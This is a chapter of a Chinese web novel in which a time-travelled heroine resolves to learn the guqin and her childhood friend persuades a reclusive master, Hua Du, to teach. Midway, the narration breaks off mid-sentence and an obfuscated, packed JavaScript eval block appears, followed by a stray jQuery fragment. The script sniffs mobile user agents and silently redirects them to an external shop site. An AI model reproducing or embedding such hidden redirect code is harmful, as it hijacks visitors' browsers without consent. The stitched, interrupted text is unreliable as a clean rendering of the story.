4. 竹马找名师
    谢常溪打开纸条,上方仅画着一个古琴的形状,古琴左侧的吊坠上刻着“琴”一字。

    很显然,这是琴阁的标志。

    所以,这次的刺客与琴阁有关?玉涧鸣泉是否在琴阁呢?

    哎,好麻烦。

    谢常溪眉心蹙了蹙,捏着纸条就回杏霜院了。

    回到院子里,谢常溪安排了卫三去打探琴阁。现下,五名护卫军派出去了三位。

    “郡主,这些是今日送来的拜帖。”宛秋很快就呈上了十几封拜帖,都是各家送过来的。

    她兴致盎然地打开了几封,又讪讪放下。

    怎么能做到每封都是关于琴艺交流的呢?

    嘉宁郡主虽性格娇蛮,但她的琴艺可是顶顶的好。每年朝廷会举办一场琴会,琴会上人才济济,能走到最后关头的自然要做到技压群芳。而嘉宁郡主参加过四场琴会,连续四年都是魁首。

    嘉宁郡主每天收到的信数不胜数,她都是心情好挑几个人来府上切磋琴艺。心情不好,就全拒了。

    然而,现在的谢常溪可没法应下,她可不会弹古琴,来了不就妥妥露馅了。

    关于古琴……谢常溪坐在窗前,思绪随着窗边路过的轻风越飘越远……

    谢常溪生在一个美满的家庭,父母感情深厚,家中也只有她一个孩子。和很多家庭一样,父亲温和亲切,母亲则对她总是更严格些,也正是因为只有一个小孩,家族企业未来将由谢常溪管理。

    从小到大,母亲都致力于把她培养成一个合格的继承人,即使她对此并不感兴趣。母亲总是说:“我这是为了你好。”

    可她不喜欢当继承人,不喜欢金融,她有自己的梦想,她想当一名琴师。

    第一次接触古琴,是在谢常溪十八岁暑假,她和朋友去过一个琴院,琴声悠扬。在那里,她了解到古琴历史源远流长,也感受了古琴带来的魅力。

    夕阳斜下,余晖映照在琴谱上,琴师拨弦抚琴,琴声幽然婉转,余韵悠悠,听者内心一阵宁静。

    在那之后,她爱上了古琴。她把这个想法告诉了父母,父亲没有说什么,没有支持也没有反对。母亲则是剧烈的反对,她认为谢常溪应该根据已定好的轨迹发展。

    这时她已经拿到本地大学的录取通知书了,是母亲一直所要求的专业—金融学。

    她知道她没有勇气去反抗母亲,也没有勇气去改变已定的航线,所以,她就这样继续学着金融,继续做着一名合格的继承者。

    直到现在,她穿越到了这,因郡主身份缘故,她已经没有理由再去忽视对古琴的热爱。

    她决定,直视自己内心的渴望,不仅仅是为了理想,也是在反抗母亲的控制,寻得自我。

    这一决定后,她感受到一股轻松,好似有个担子在快要压倒人时被及时卸下。

    想到这个比喻,谢常溪笑了起来,弯起一双澄澈的眼眸,明媚的笑容在她的脸上绽开,宛如庭院里开得正盛的杏花,娇艳欲滴,明艳夺目。

    -

    “公子,马车已经备好了。”随从卫原快步走到许时礼跟前说道。

    自从知道谢常溪准备学琴后,许时礼跟着兄长去了几趟琴会。终于打听到了一位隐世琴师华度的居所。

    这位琴师是一年前从琴阁里辞去职务,如今独自在京郊生活。

    他马不停蹄地赶到了京郊,根据打听到的地址,来到了一座古旧的小院门前。

    这座小院四周杂草丛生,看着有些破败。

    许时礼整了整衣服,敲响了门。

    一阵噼里啪啦后,“谁啊?”一道沙哑的声音响起。

    脚步声越来越近,门被打开了。一名穿着粗布衣裳的男子出现在许时礼的面前,他的脸上长满了胡须,整个人显得有些颓靡。

    他斜倚在门旁,打量着许时礼。

    许时礼有些紧张地说道:“我是镇国将军次子许时礼,这次来找您是想……”话音未落,男子猛地将门关上。

    “不见。”随着门落下的是他的回答。

    许时礼的瞳孔猛然收缩,有些发愣。他知道华度琴师恐怕不好应对,但他没想到情况会如此不尽人意。

    没法,他在门口喊了几声,“大师,我今日前来,是想向您学琴。”

    刚开始,华度琴师还会应几声“不见”,到了后面,任许时礼如何见喊都没有反应。

    卫原见此有些忿忿不平,他附耳轻声道:“公子,您想学琴何必一定要找他,他态度如此冷淡,还不搭理人。琴阁也有好多琴师在授课。”

    “卫原,慎言。”许时礼没有和他解释学琴者另有其人。

    卫原是许时礼的贴身随从,因为敢讲敢言的讨喜性格受到原身的喜爱。

    太阳缓缓落下,天色在慢慢变暗。许时礼看到隔壁几间

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561843|142745||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    屋子的主人都打开门偷偷打量着他,再这样下去,旁人恐怕要把他当作歹人了。

    “公子,要回去了吗?”卫原问道。

    许时礼思索了片刻,朝院内喊了一声:“大师,我今日先回去了,明日再来找您。”

    依旧是没有动静,许时礼叹了口气。转身坐上马车回了许府。

    翌日,同样的时间,许时礼又来到了小院前。

    依旧是同样的动作,华度琴师照例只应了几声,许时礼无功而返。

    这样的日子持续了几天。

    今日是最后一日,大师再不开门,他只能另寻他处了,许时礼想着。

    他轻轻叩了叩门,说道:“大师,我又来了。能开门详谈吗?”

    前几日的场景历历在目,还是在屋内谈比较合适。

    出乎意料地,华度琴师“唰”的打开了门,“进来吧。”

    许时礼提步紧跟在其身后,院子很小,杂物摆放随意,略显凌乱。院内的杂草长势过膝,看得出来主人长时间没有打理过。

    卫原在屋外候着,华度琴师带他到屋内,先行落座。

    “你想要我教你学琴?”华度琴师率先发问。

    许时礼垂首恭敬道:“并不是我,是我的至友。大师,我会给您丰厚的薪俸,您有何条件只管提出。”在没有确定之前,暴露谢常溪的存在不是个明智的选择。

    “没法教,我已经辞出琴阁了。”华度琴师答得随意。

    “大师,您真的是自请辞出琴阁的吗?”许时礼话音刚落,望见华度琴师的脸色一沉,锐利的目光紧盯着他。

    许时礼接着说道:“我来之前听旁人说过,大师您似乎不是自愿离开的。或许我可以帮助您。”

    华度琴师在琴阁时名声籍甚,一年前遽然辞去,消失在大众里。琴圈中无人不为之惋惜,到现在还有不少人在打听他的消息。

    谢常溪告诉过他,琴阁和丢失的琴有关,她已经派人去探查了。有长公主在背后,或许可以帮助华度琴师回到琴阁。

    他调查过,华度琴师的请辞有些蹊跷,恐怕有所隐情。这是步险棋,用的不当,会适得其反,惹得对方气恼。

    “若您仍是不应允,我自会离去。实在抱歉,这几日多有打扰。”许时礼诚恳地说道。

    华度琴师默然不语,他思索了许久。下定决心般开口:“好,我可以答应你。”